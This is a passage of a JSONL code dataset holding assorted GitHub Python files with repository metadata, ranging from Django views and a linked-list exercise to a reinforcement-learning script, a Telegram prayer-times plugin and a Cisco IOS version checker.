addresses:\n\t\t\t\tcountry_code = addresses[0].get('country', {}).get('value')\n\t\t\t\t# Assigning the country code to the author's country field and saving\n\t\t\t\tauthor.country = country_code  # CountryField will handle the country code correctly\n\t\t\telse:\n\t\t\t\tprint(f\"No address found for author with ORCID: {author_orcid_number}\")\n\t\t\tauthor.save()\n","repo_name":"brunoamaral/gregory","sub_path":"django/db_maintenance/management/commands/update_orcid.py","file_name":"update_orcid.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"79"}
+{"seq_id":"44674510627","text":"import tensorflow as tf\nimport numpy as np\n\nif __name__ == \"__main__\":\n\n    a = tf.Variable(0.78)\n    a_identity = tf.identity(a)\n\n    a.assign_add(1)\n\n    print(a.numpy())\n    print(a_identity.numpy())\n","repo_name":"wprazuch/DeepLearningPlayground","sub_path":"Tensorflow_Concepts/tf/identity.py","file_name":"identity.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"13088084177","text":"import cv2 as cv\n\nimg = cv.imread(\"C:\\\\Users\\\\smara\\\\Downloads\\\\wall-01.png\")\n\nimg = img[0:500, 0:700] #crop\n\nflip = cv.flip(img, -1)\n\ncv.imshow(\"Flip\",flip)\n\ncv.waitKey(0)\n","repo_name":"saransh484/OpenCV_Pract","sub_path":"imageFlip.py","file_name":"imageFlip.py","file_ext":"py","file_size_in_byte":173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"22774004839","text":"from django.urls import path \n\nfrom . import views\n\nurlpatterns = [\n    path('', views.CartList.as_view(), name='cart-list'),\n    path('create/', views.CartCreate.as_view(), name='cart-create'),\n    path('detail/<int:pk>/', views.CartRetrieve.as_view(), name='cart-detail'),\n    path('update/<int:pk>/', views.CartUpdate.as_view(), name='cart-update'),\n    path('delete/<int:pk>/', views.CartDestroy.as_view(), name='cart-delete'),\n    \n    path('orders/', views.OrderListCreate.as_view()),\n    path('detail-order/<int:pk>/', views.OrderRetrieve.as_view(), name='order-detail'),\n    path('edit-order/<int:pk>/', views.OrderUpdate.as_view(), name='order-edit'),\n    path('delete-order/<int:pk>/', views.OrderDestroy.as_view(), name='order-delete'),\n    \n    path('create-account/', views.UserCreate.as_view()),\n    \n]\n","repo_name":"Abdurrahman-Abdulhakeem/Cart-App","sub_path":"backend/cart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70676330177","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Author: Qian.Wu\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n\"\"\"\n实现List\n\n无序列表,由一个节点的集合组成，每个节点采用显示引用链接到下一个节点，只要我们知道第一个节点的位置，在这之后\n的每个元素都可以通过以下链接找到下一个节点\n\"\"\"\n\nclass Node():\n    def __init__(self, initdata):\n        self.data = initdata\n        self.next = None\n\n    def getData(self):\n        return self.data\n\n    def getNext(self):\n        return self.next\n\n    def setData(self, newdata):\n        self.data = newdata\n\n    def setNext(self, newnext):\n        self.data = newnext\n\nclass UnorderedList():\n    def __init__(self):\n        self.head = None\n\n    def isEmpty(self):\n        return self.head == None\n\n    def add(self, item):\n        temp = Node(item)\n        temp.setNext(self.head)\n        self.head = temp\n\n    def size(self):\n        current = self.head\n        count = 0\n        while current != None:\n            count += 1\n            current = current.getNext()\n        return count\n\n    def search(self, item):\n        current = self.head\n        found = False\n        while current != None and not found:\n            if current.getData() == item:\n                found = True\n            else:\n                current = current.getNext()\n\n        return found\n\n    def remove(self, item):\n        '''必须要考虑到移除节点为第一个的情况'''\n        current = self.head\n        previous = None\n        found = False\n\n        while not found:\n            if current.getData() == item:\n                found = True\n            else:\n                previous = current\n                current = current.getNext()\n\n        if previous == None:\n            self.head = current.getNext()\n        else:\n            previous.setNext(current.getNext())\n\n\n    def append(self, item):\n        temp = Node(item)\n        current = self.head\n        temp.setNext(current)\n        self.head.setNext(temp)\n\n    def insert(self, i, item):\n        current = self.head\n        previous = None\n        count = 0\n        found = False\n        while current and not found:\n            count += 1\n            if count == i:\n                found = True\n            else:\n                previous = current\n                current = current.getNext()\n\n        if found:\n            if not previous:\n               self.append(item)\n            else:\n                temp = Node(item)\n                temp.setNext(current)\n                previous.setNext(temp)\n        else:\n            raise 'Index Wrong!'\n\n    def index(self, item):\n        current = self.head\n        count = 0\n        while(current):\n            if current.getData() == item:\n                return count\n            else:\n                count += 1\n                current = current.getNext()\n\n        if not current:\n            return 'Not Found!'\n\n    def pop(self, i):\n        current = self.head\n        previous = None\n        found = False\n        count = 0\n        while current and not found:\n            if count == i:\n                found = True\n            else:\n                previous = current\n                current = current.getNext()\n\n        if found:\n            if not previous:\n                self.head = current.getNext()\n            else:\n                current = current.getNext()\n                previous.setNext(current)\n        else:\n            raise 'Index Wrong!'\n\n    def list_print(self):\n        current = self.head\n\n        while current:\n            print(current.getData, end=' ')\n            current = current.getNext()\n\n\n\n","repo_name":"5201314wq/python_data_structure","sub_path":"l3.6.py","file_name":"l3.6.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"70590048576","text":"import metaworld\nimport random\nimport gym\nimport itertools\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nimport sys\nfrom collections import defaultdict\nfrom PyFixedReps import TileCoder\n\n\ndef make_epsilon_greedy_policy(epsilon, nA):\n    \"\"\"\n    Creates an epsilon-greedy policy based on a given Q-function and epsilon.\n\n    Args:\n        Q: A dictionary that maps from state -> action-values.\n            Each value is a numpy array of length nA (see below)\n        epsilon: The probability to select a random action. Float between 0 and 1.\n        nA: Number of actions in the environment.\n\n    Returns:\n        A function that takes the observation as an argument and returns\n        the probabilities for each action in the form of a numpy array of length nA.\n\n    \"\"\"\n\n    def policy_fn(best_action):\n        nA = 5**4\n        A = np.ones(nA, dtype=float) * epsilon / nA\n        # best_action = np.argmax(Q)\n        # best_action = np.array([1,1,1,1],dtype=float)\n        A[best_action] += (1.0 - epsilon)\n        # print(\"sum:\",sum(A))\n        return A\n\n    return policy_fn\n\n\ndef action2box(action):\n    box = np.zeros(4)\n    # print(\"action:\",action)\n    for i in range(4):\n        box[i] = (action % 5)/2 - 1\n        action = action // 5\n    # print(\"box:\",box)\n    return box\n\n\ndef box2state(next_state):\n    pass\n\n\ndef greedy_action(theta_t, phi_t_S, tc_action):\n    maxQ = -1000000\n    best_action = None\n    for a in range(625):\n        a_box = action2box(a)\n        phi_t_S_A = np.append(phi_t_S, tc_action.encode(a_box))\n        Q_S_A = np.dot(theta_t, phi_t_S_A)\n        if Q_S_A > maxQ:\n            maxQ = Q_S_A\n            best_action = a\n\n    return best_action\n\n\ndef q_learning(env, num_episodes, discount_factor=0.9, lambda_=0.4, alpha_theta=0.1, alpha_w=0.00001):\n    \"\"\"\n    Q-Learning algorithm: Off-policy TD control. Finds the optimal greedy policy\n    while following an epsilon-greedy policy\n\n    Args:\n        env: OpenAI environment.\n        num_episodes: Number of episodes to run for.\n        discount_factor: Gamma discount factor.\n        alpha: TD learning rate.\n        epsilon: Chance to sample a random action. Float between 0 and 1.\n\n    Returns:\n        A tuple (Q, episode_lengths).\n        Q is the optimal action-value function, a dictionary mapping state -> action values.\n        stats is an EpisodeStats object with two numpy arrays for episode_lengths and episode_rewards.\n    \"\"\"\n\n    # The final action-value function.\n    # A nested dictionary that maps state -> (action -> action-value).\n    # Q = defaultdict(lambda: np.zeros(env.action_space.n))\n\n    # Keeps track of useful statistics\n    # stats = plotting.EpisodeStats(\n    #     episode_lengths=np.zeros(num_episodes),\n    #     episode_rewards=np.zeros(num_episodes))\n\n    # The policy we're following\n    # target policy: greedy(Q)\n    pi_policy = make_epsilon_greedy_policy(0.0, env.action_space.shape[0])\n    # behavior policy: random\n    b_policy = make_epsilon_greedy_policy(0.99, env.action_space.shape[0])\n\n    phi_state_dim = 13312 - 1024\n\n    phi_dimension = phi_state_dim + 1024  # state features dimension + action features dimension\n\n    w_t = theta_t = np.ones(phi_dimension)\n    Q_t_state = np.zeros(625)\n    tot_timesteps = 20\n    # phi = TiledQTable(nA=env.action_space.n, obsLow=env.observation_space.low, obsHigh=env.observation_space.high, tiling_specs=tiling_specs)\n    tc_state = TileCoder({'tiles': 2, 'tilings': 3, 'dims': 12, 'input_ranges': [(-1.0, 1.0) for _ in range(12)], 'scale_output': True, 'random_offset': True})\n    tc_action = TileCoder({'tiles': 4, 'tilings': 4, 'dims': 4, 'input_ranges': [(-1.0, 1.0) for _ in range(4)], 'scale_output': True})\n\n    for i_episode in range(num_episodes):\n        # Print out which episode we're on, useful for debugging.\n        if (i_episode + 1) % 10 == 0:\n            # evaluation\n            state = env.reset()\n            for t in range(tot_timesteps):\n                # print(\"state:\",state)\n                phi_t_S = tc_state.encode(state)\n                best_action = action2box(greedy_action(theta_t=theta_t, phi_t_S=phi_t_S, tc_action=tc_action))\n                # Take a step\n                # implement epsilon greedy policy\n                next_state, reward, done, _ = env.step(best_action)\n                print(\"action:\",best_action)\n                print(\"evaluation reward:\",reward)\n                if done:\n                    break\n\n                state = next_state\n\n            print(\"\\rEpisode {}/{}.\".format(i_episode + 1, num_episodes), end=\"\")\n            sys.stdout.flush()\n\n        # Reset the environment and pick the first action\n        state = env.reset()\n        # print(\"state:\",state, len(state))\n\n        # One step in the environment\n        # total_reward = 0.0\n        e_t = np.zeros(phi_dimension)\n\n        for t in range(tot_timesteps):\n            # training\n            # use tile coding to encode state into phi\n            phi_t_S = tc_state.encode(state)\n            # all_actions = np.zeros((625, 4))\n            # for a in range(625):\n            #     all_actions[a, :] = action2box(a)\n            #\n            # phi_t_S_allA = np.zeros((625, phi_dimension))\n            # phi_t_S_allA[:, 0:phi_state_dim] = np.tile(phi_t_S, 625).reshape(625, phi_state_dim)\n            # phi_t_S_allA[:, phi_state_dim:phi_dimension] = all_actions\n            # print(\"phi_t_S_allA:\",phi_t_S_allA)\n            # current approximation of Q(state) = phi_t_S_allA @ theta_t (625x16)*(16x1)\n            # Q_t_state = phi_t_S_allA @ theta_t\n            # Take a step\n            # implement greedy policy w.r.t. approximate Q as target policy\n            best_action = greedy_action(theta_t, phi_t_S, tc_action)\n            action_probs_pi = np.zeros(625)\n            action_probs_pi[best_action] = 1.0\n            # implement behavior policy (random)\n            action_probs_b = b_policy(best_action)\n            num_actions = len(action_probs_b)\n            action_index_b = np.random.choice(np.arange(num_actions), p=action_probs_b)\n            action_b = action2box(action_index_b)\n            next_state, reward, done, _ = env.step(action_b)\n            phi_t_Snext = tc_state.encode(next_state)\n            best_action_next = greedy_action(theta_t, phi_t_Snext, tc_action)\n            next_action_probs_pi = pi_policy(best_action_next)\n\n            # print(\"action\",action)\n\n            # phi_t_Snext = phi_t(S_{t+1})\n\n            # calculate phi_bar_t\n            phi_bar_t = np.zeros(phi_dimension)\n            for a in range(num_actions):\n                phi_bar_t += next_action_probs_pi[a] * np.append(phi_t_Snext, tc_action.encode(action2box(a)))\n            # print(\"phi_bar_t\", phi_bar_t)\n            # phi_t_S_A = phi_t(S_t, A_t)\n            phi_t_S_A = np.append(phi_t_S, tc_action.encode(action_b))\n            # calculate delta_t (scalar)\n            delta_t = reward + discount_factor * np.dot(theta_t, phi_bar_t) - np.dot(theta_t, phi_t_S_A)\n            # update e_t (vector)\n            e_t = phi_t_S_A + discount_factor * lambda_ * action_probs_pi[action_index_b] / (1 / num_actions) * e_t\n            # print(\"e_t\", e_t)\n            # update theta_t (vector)\n            theta_t = theta_t + alpha_theta * (delta_t * e_t - discount_factor*(1-lambda_)*np.dot(w_t,e_t)*phi_bar_t)\n            # print(\"theta_t\",theta_t)\n            # update w_t (vector)\n            w_t = w_t + alpha_w * (delta_t * e_t - (np.dot(w_t,phi_t_S_A))*phi_t_S_A)\n\n\n            # # Update statistics\n            # stats.episode_rewards[i_episode] += reward\n            # stats.episode_lengths[i_episode] = t\n            if t==tot_timesteps-1:\n                print(\"rew:\",reward)\n                # print(\"Q_state:\",Q_t_state)\n            # print(\"next state\",next_state)\n            # next_state = box2state(next_state)\n\n            # # TD Update\n            # best_next_action = np.argmax(Q[next_state])\n            # td_target = reward + discount_factor * Q[next_state][best_next_action]\n            # td_delta = td_target - Q[state][action]\n            # Q[state][action] += alpha * td_delta\n\n            if done:\n                break\n\n            state = next_state\n\n    return Q_t_state\n\n\nprint(metaworld.ML1.ENV_NAMES)  # Check out the available environments\n\nmt1 = metaworld.MT1('push-v1') # Construct the benchmark, sampling tasks\n\nenv = mt1.train_classes['push-v1']()  # Create an environment with task `pick_place`\ntask = mt1.train_tasks[0]\nenv.set_task(task)  # Set task\n\nobs = env.reset()  # Reset environment\n\nprint(\"env actions:\",env.action_space)\n# for i in range(20):\n#     print('action', env.action_space.sample())\n\n\nQ = q_learning(env, 5000, discount_factor=0.9, alpha_theta=0.01)\n\n# a = env.action_space.sample()  # Sample an action\n# print('action', a)\n# obs, reward, done, info = env.step(a)  # Step the environoment with the sampled random action\n# agent.learn(obs, a, reward, ns, np_actions, na, terminal)\n# print('state', obs)\n# print('reward', reward)\n\n","repo_name":"flavioschneider/rl-transfer-learning","sub_path":"metaworld-horde.py","file_name":"metaworld-horde.py","file_ext":"py","file_size_in_byte":8995,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"11914103526","text":"\"\"\"harvdev_utils init file.\"\"\"\nfrom .char_conversions import (\n    sgml_to_plain_text, sgml_to_unicode,\n    unicode_to_plain_text, sub_sup_to_sgml\n)\nfrom .chado_functions import get_or_create, get_cvterm, chado_errors\n\n# if somebody does \"from somepackage import *\", this is what they will\n# be able to access:\n__all__ = [\n    'sgml_to_plain_text',\n    'sgml_to_unicode',\n    'unicode_to_plain_text',\n    'sub_sup_to_sgml',\n    'get_or_create',\n    'get_cvterm',\n    'chado_errors'\n]\n","repo_name":"FlyBase/harvdev-utils","sub_path":"harvdev_utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"1230900339","text":"import types\n\n# Задание 1.\nclass FlatIterator:\n\n    def __init__(self, list_of_list):\n        self.main_list = list_of_list\n\n    def __iter__(self):\n        self.cursor = 0\n        self.cursor2 = -1\n        return self\n\n    def __next__(self):\n        self.cursor2 += 1\n        if self.cursor2 > len(self.main_list[self.cursor])-1:\n          self.cursor2 = 0\n          self.cursor += 1\n          if self.cursor > len(self.main_list) - 1:\n            raise StopIteration\n        return self.main_list[self.cursor][self.cursor2]\n\n\ndef test_1():\n\n    list_of_lists_1 = [\n        ['a', 'b', 'c'],\n        ['d', 'e', 'f', 'h', False],\n        [1, 2, None]\n    ]\n\n    for flat_iterator_item, check_item in zip(\n            FlatIterator(list_of_lists_1),\n            ['a', 'b', 'c', 'd', 'e', 'f', 'h', False, 1, 2, None]\n    ):\n\n        assert flat_iterator_item == check_item\n\n    assert list(FlatIterator(list_of_lists_1)) == ['a', 'b', 'c', 'd', 'e', 'f', 'h', False, 1, 2, None]\n\n# Задание 2\n\ndef flat_generator(list_of_lists):\n    cursor = 0\n    cursor2 = 0\n    while cursor < len(list_of_lists):\n      yield list_of_lists[cursor][cursor2]\n      cursor2 +=1\n      if cursor2 > len(list_of_lists[cursor])-1:\n        cursor += 1\n        cursor2 = 0\n\n\ndef test_2():\n\n    list_of_lists_1 = [\n        ['a', 'b', 'c'],\n        ['d', 'e', 'f', 'h', False],\n        [1, 2, None]\n    ]\n\n    for flat_iterator_item, check_item in zip(\n            flat_generator(list_of_lists_1),\n            ['a', 'b', 'c', 'd', 'e', 'f', 'h', False, 1, 2, None]\n    ):\n\n        assert flat_iterator_item == check_item\n\n    assert list(flat_generator(list_of_lists_1)) == ['a', 'b', 'c', 'd', 'e', 'f', 'h', False, 1, 2, None]\n\n    assert isinstance(flat_generator(list_of_lists_1), types.GeneratorType)\n\n\nif __name__ == '__main__':\n    test_1()\n    test_2()","repo_name":"slava-2585/Homeworks_Iterators_Generators_Yield","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"38371472098","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nWritten by Lucas Sinclair.\nMIT Licensed.\nContact at www.sinclair.bio\n\"\"\"\n\n# Internal modules #\n\n# First party modules #\nfrom plumbing.graphs import Graph\nfrom autopaths.file_path import FilePath\n\n# Third party modules #\n\n# Constants #\n__all__ = ['LengthDist', 'LengthHist']\n\n################################################################################\nclass LengthDist(Graph):\n    \"\"\"The length distribution of the sequences with a bar plot.\"\"\"\n\n    short_name   = 'length_dist'\n    sep          = ('x', 'y')\n    y_grid       = True\n    width        = 10\n    height       = 6\n    remove_frame = True\n\n    def __init__(self, parent):\n        self.parent = parent\n        self.path = FilePath(self.parent.prefix_path + '_len_dist.pdf')\n\n    def plot(self, **kwargs):\n        # Data #\n        counts = self.parent.lengths_counter\n        # Plot #\n        from matplotlib import pyplot\n        fig = pyplot.figure()\n        pyplot.bar(counts.keys(), counts.values(), 1.0,\n                   color='gray', align='center')\n        axes = pyplot.gca()\n        # Information #\n        title = 'Distribution of sequence lengths'\n        axes.set_title(title)\n        axes.set_xlabel('Length of sequence in nucleotides')\n        axes.set_ylabel('Number of sequences with this length')\n        # Save it #\n        self.save_plot(fig, axes, **kwargs)\n        pyplot.close(fig)\n        # For convenience #\n        return self\n\n################################################################################\nclass LengthHist(Graph):\n    \"\"\"The length distribution of the sequences with a histogram.\"\"\"\n\n    short_name   = 'length_hist'\n    sep          = ('x', 'y')\n    y_grid       = True\n    width        = 10\n    height       = 6\n    remove_frame = True\n\n    def __init__(self, parent):\n        self.parent = parent\n        self.path = FilePath(self.parent.prefix_path + '_len_hist.pdf')\n\n    def plot(self, bins=80, **kwargs):\n        # Import numpy #\n        import numpy\n        # Data #\n        counts = list(self.parent.lengths)\n        # Linear bins in logarithmic space #\n        if 'log' in kwargs.get('x_scale', ''):\n            start, stop = numpy.log10(1), numpy.log10(max(counts))\n            bins = list(numpy.logspace(start=start, stop=stop, num=bins))\n            bins.insert(0, 0)\n        # Plot #\n        from matplotlib import pyplot\n        fig = pyplot.figure()\n        pyplot.hist(counts, bins=bins, color='gray')\n        axes = pyplot.gca()\n        # Information #\n        title = 'Histogram of sequence lengths'\n        axes.set_title(title)\n        axes.set_xlabel('Length of sequence in nucleotides')\n        axes.set_ylabel('Number of sequences with this length')\n        # X lim #\n        axes.set_xlim(min(counts), axes.get_xlim()[1])\n        # Save it #\n        self.save_plot(fig, axes, **kwargs)\n        pyplot.close(fig)\n        # For convenience #\n        return self","repo_name":"xapple/fasta","sub_path":"fasta/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"}
+{"seq_id":"30753273826","text":"'''\nElston Almeida\nenter info about program here\n2016/19/01\nICS 3U1\n'''\ndef clear_screen():\n    import os\n    import platform\n    if (platform.system() == \"Windows\"):\n        os.system('cls')\n    elif (platform.system() == \"Linux\"):\n        os.system('clear')\n    #windows cls, linux clear\n    else:\n        raise RuntimeError(\"Unknown System Detected\")\ndef valid_user_input():\n    check_input = True\n    while (check_input == True):\n        try:\n            #asks for input and validates it\n            verified_input = raw_input()\n            #allows only key words or scores\n            if verified_input in ('0','1','-1','-2','par','bogey','eagle','birdie'):\n                if verified_input in ('0','-1','-2','1'):\n                    int(verified_input)\n                #conversions to values in int\n                elif (verified_input == 'par'):\n                    verified_input = 0\n                elif (verified_input == 'bogey'):\n                    verified_input = 1\n                elif (verified_input == 'birdie'):\n                    verified_input = -1\n                else:\n                    verified_input = -2\n                #ends loop\n                check_input = False\n                return(verified_input)\n            else:\n                #invalid input loop back\n                print (\"Please enter a valid input\")\n                print (\"Score on hole \" + str(int(hole_input_loop)+1)+ \" was :\"),\n        except:\n            #error message? someone will find a way to break it -_-\n            print (\"Please enter a valid input: \"),\ndef holes_input_validation():\n    #sets up loop\n    check_input = True\n    while (check_input is True):\n        try:\n            #asks for input and validates it forcing it to change to int to avoid errors\n            total_holes_input = raw_input()\n            int(total_holes_input)\n            #makes sure no negative values or zero is input\n            if (int(total_holes_input) <= 0):\n                print (\"please enter a number larger than zero : \"),\n\n            elif long(total_holes_input) > 2000000:\n                print (\"O' really...Sir, please try again\")\n                print (\"Please enter a valid amount: \"),\n            elif (int(total_holes_input) > 18):\n                str(total_holes_input)\n                print (\"The number you have entered is \" + total_holes_input + \" was this correct ? (y/N): \"),\n                recheck = raw_input()\n                if not recheck:\n                    print (\"please enter a choice to continue\")\n                elif recheck in ('yes', 'y', 'Y', 'Yes'):\n                    total_holes_input = int(total_holes_input)\n                    check_input = False\n                    return(total_holes_input)\n                else:\n                    check_input = True\n                    print (\"Please retype the amount of holes played: \"),\n            else:\n                check_input = False\n                return(total_holes_input)\n        except:\n            print (\"Please enter a valid number\\nPlease enter a number for holes played: \"), #remove this later elston\ndef wait(till):\n    #to stop windows quiting the program in cmd\n    import platform\n    import time\n    if (platform.system() == \"Windows\"):\n        float(till)\n        time.sleep(till)\n#var for later\ntotal = 0\n#Beginning cleans anything on the screen\nclear_screen()\nprint (\"Number of holes to score:\"),\n#calls the def and will verify input is valid\ntotal_holes = holes_input_validation()\n#runs loop that will ask for valid input over the amount of holes\nfor hole_input_loop in xrange (int(total_holes)):\n    clear_screen()\n    print (\"Score on hole \" + str(int(hole_input_loop)+1) + \" :\"),\n    amount = valid_user_input()\n    total = int(total) + int(amount)\n#For my sanity and neatness\nclear_screen()\n#final print statement for total score and holes played\nprint (\"Your score over \" + str(total_holes) + \" holes is \" + str(total) + \" from par.\")\nwait(5)\n","repo_name":"elston-jja/Personal-Projects","sub_path":"python/Grade12/unit2/personal_versions/golfscore.py","file_name":"golfscore.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"7995567081","text":"class Solution(object):\n    def kItemsWithMaximumSum(self, numOnes, numZeros, numNegOnes, k):\n        tot = 0\n        a = min(k, numOnes)\n        tot += a\n        k -= a\n        b = min(k, numZeros)\n        k -= b\n        c = min(k, numNegOnes)\n        tot -= c\n        k -= c\n        return tot\n","repo_name":"Wizmann/ACM-ICPC","sub_path":"Leetcode/Algorithm/python/3000/02600-K Items With the Maximum Sum.py","file_name":"02600-K Items With the Maximum Sum.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"79"}
+{"seq_id":"3857599421","text":"from django.conf.urls.defaults import *\nfrom mos import settings\n\nfrom mos.projects.models import Project\n\ndate_dict = {\n    'queryset': Project.all.all(), #finished_at__exact=None),\n    'date_field': 'created_at',\n    'num_latest': 5,\n    'template_object_name': 'latestprojects',\n}\n\ninfo_dict = {\n    'queryset': Project.all.all(),\n}\n\n\nurlpatterns = patterns('django.views.generic.date_based',\n                       (r'^$', 'archive_index', date_dict),\n)\n\nurlpatterns += patterns('',\n                        (r'^(?P<object_id>\\d+)/delete/$',\n                         'mos.projects.views.delete_project'),\n                        (r'^(?P<object_id>\\d+)/$',\n                         'django.views.generic.list_detail.object_detail',\n                         info_dict),\n                        (r'^(?P<object_id>\\d+)/update/$',\n                         'mos.projects.views.update_project', {'new': False}),\n                        (r'^new/$',\n                         'mos.projects.views.update_project', {'new': True}),\n)\n","repo_name":"nycresistor/hackerspace-os","sub_path":"mos/projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"12823802509","text":"class Solution:\n    def isAnagram(self, s: str, t: str) -> bool:\n        if len(s) != len(t):\n            return False\n        \n        letters = {}\n        for i in range(len(s)):\n            letters[s[i]] = letters.get(s[i], 0) + 1\n\n        for i in range(len(t)):\n            if t[i] not in letters:\n                return False\n            if letters[t[i]] == 1:\n                letters.pop(t[i])\n            else:\n                letters[t[i]] -= 1\n        \n        if len(letters) == 0:\n            return True\n        \n        # obviously we could also do\n        \"\"\" return sorted(s) == sorted(t) \"\"\"\n        # which is one line answer but it is O(N.logN)\n        # The one above is a linear solution\n        # depending on how large n could be you might want to use the lower one","repo_name":"sudbasnet/Leetcode-Practice","sub_path":"validAnagram.py","file_name":"validAnagram.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"29814270148","text":"import json\nimport requests\n\nfrom pyrogram import Client\nfrom pyrogram.types import Message\n\nfrom pyAyiin import Ayiin, CMD_HELP\n\nfrom . import *\n\n\n@Ayiin([\"adzan\"], pass_error=True)\nasync def adzan_shalat(client: Client, message: Message):\n    LOKASI = yins.get_cmd(message)\n    if not LOKASI:\n        await message.reply(\"<i>Silahkan Masukkan Nama Kota Anda</i>\")\n        return True\n    url = f\"http://muslimsalat.com/{LOKASI}.json?key=bd099c5825cbedb9aa934e255a81a5fc\"\n    request = requests.get(url)\n    if request.status_code != 200:\n        await message.reply(f\"<b>Maaf Tidak Menemukan Kota <code>{LOKASI}</code>\")\n    result = json.loads(request.text)\n    catresult = f\"\"\"\nJadwal Shalat Hari Ini\n\n<b>Tanggal</b> <code>{result['items'][0]['date_for']}</code>\n<b>Kota</b> <code>{result['query']} | {result['country']}</code>\n\n<b>Terbit  :</b> <code>{result['items'][0]['shurooq']}</code>\n<b>Subuh :</b> <code>{result['items'][0]['fajr']}</code>\n<b>Zuhur  :</b> <code>{result['items'][0]['dhuhr']}</code>\n<b>Ashar  :</b> <code>{result['items'][0]['asr']}</code>\n<b>Maghrib :</b> <code>{result['items'][0]['maghrib']}</code>\n<b>Isya :</b> <code>{result['items'][0]['isha']}</code>\n\"\"\"\n    await message.reply(catresult)\n\n\nCMD_HELP.update(\n    {\"adzan\": (\n        \"adzan\",\n        {\n            \"adzan\": \"Masukkan Nama Kota Untuk Mendapatkan Jadwal Sholat Kota Anda\",\n        }\n    )\n\n    }\n)\n","repo_name":"AyiinXd/AyiinUbot","sub_path":"AyiinXd/adzan.py","file_name":"adzan.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"79"}
+{"seq_id":"11812453970","text":"from typing import Any\n\n\nclass Tree:\n    def __init__(self, val: Any = None, children=None):\n        if children is None:\n            children = []\n        self.val = val\n        self.children = children\n\n\ndef dfs(tree):\n    if tree is None:\n        return\n    else:\n        print(tree.val)\n        for child in tree.children:\n            dfs(child)\n\n\ndef getTreeSum(tree):\n    if tree is None:\n        return 0\n    else:\n        treeSum = tree.val\n        for child in tree.children:\n            treeSum += getTreeSum(child)\n        return treeSum\n\n\ndef getTreeMax(tree):\n    if tree is None:\n        return float('-inf')\n    else:\n        treeMax = tree.val\n        for child in tree.children:\n            treeMax = max(treeMax, getTreeMax(child))\n        return treeMax\n\n\ndef getTreeHeight(tree):\n    if tree is None:\n        return -1\n    else:\n        maxHeight = 0\n        for child in tree.children:\n            maxHeight = max(maxHeight, getTreeHeight(child))\n        return 1+maxHeight\n\n\ntree = Tree(10, [Tree(8, [Tree(3, [Tree(2)]), Tree(4)]),\n            Tree(18, [Tree(15), Tree(21)])])\n\n\n\"\"\"\n                10\n          8           18\n       3     4     15    21\n    2\n\"\"\"\n\nprint(\"Sum: {}\".format(getTreeSum(tree)))\nprint(\"Max: {}\".format(getTreeMax(tree)))\nprint(\"Height {}\".format(getTreeHeight(tree)))\nprint(\"dfs:\")\ndfs(tree)\n","repo_name":"bgunay/python-ds-and-algorithms","sub_path":"Recursion_Course/8. Recursive Data Structures/trees.py","file_name":"trees.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"31423008505","text":"import os\r\n\r\n\r\ninput1 = input(\"Which 'dir' would you like to scan?\\nEnter here: \")\r\n\r\nfailed = []\r\nwith os.scandir(input1 + '/') as entries1:\r\n    for count, entry1 in enumerate(entries1, 1):\r\n\r\n        with open(entry1, 'r') as f:\r\n\r\n            contents = f.readlines()\r\n            \"\"\"in case all of the searches equal False print content to make sure that \"string_search\" has the correct \r\n            syntax(uncomment the below print line)\"\"\"\r\n            # print(contents)\r\n            \"\"\"This 'string_search' variable can be replaced in case a IOS change occurs;\r\n             retrieve it from show version\"\"\"\r\n            string_search = '*    1 12    WS-C3560CX-8PC-S          15.2(4)E6             C3560CX-UNIVERSALK9-M    \\n'\r\n            oP1 = list(filter(lambda a: string_search in a, contents))\r\n            \"\"\"the below line will test and see if the lambda method is searching for the correct string\r\n            (uncomment below line to test search)\"\"\"\r\n            # print(oP1)\r\n            if string_search in oP1:\r\n                print(f\"{count} <> {entry1.name} correct IOS installed$$$$$\")\r\n            else:\r\n                print(f\"{count} <> {entry1.name} does not have correct IOS installed!!!!!!\")\r\n                failed.append(entry1)\r\n\"\"\"Below for loop will list each failed \"\"\"\r\nn = 0\r\nfor i in failed:\r\n    print(i)\r\n    n += 1\r\n\r\n\r\nprint(f\"Total files that failed check: 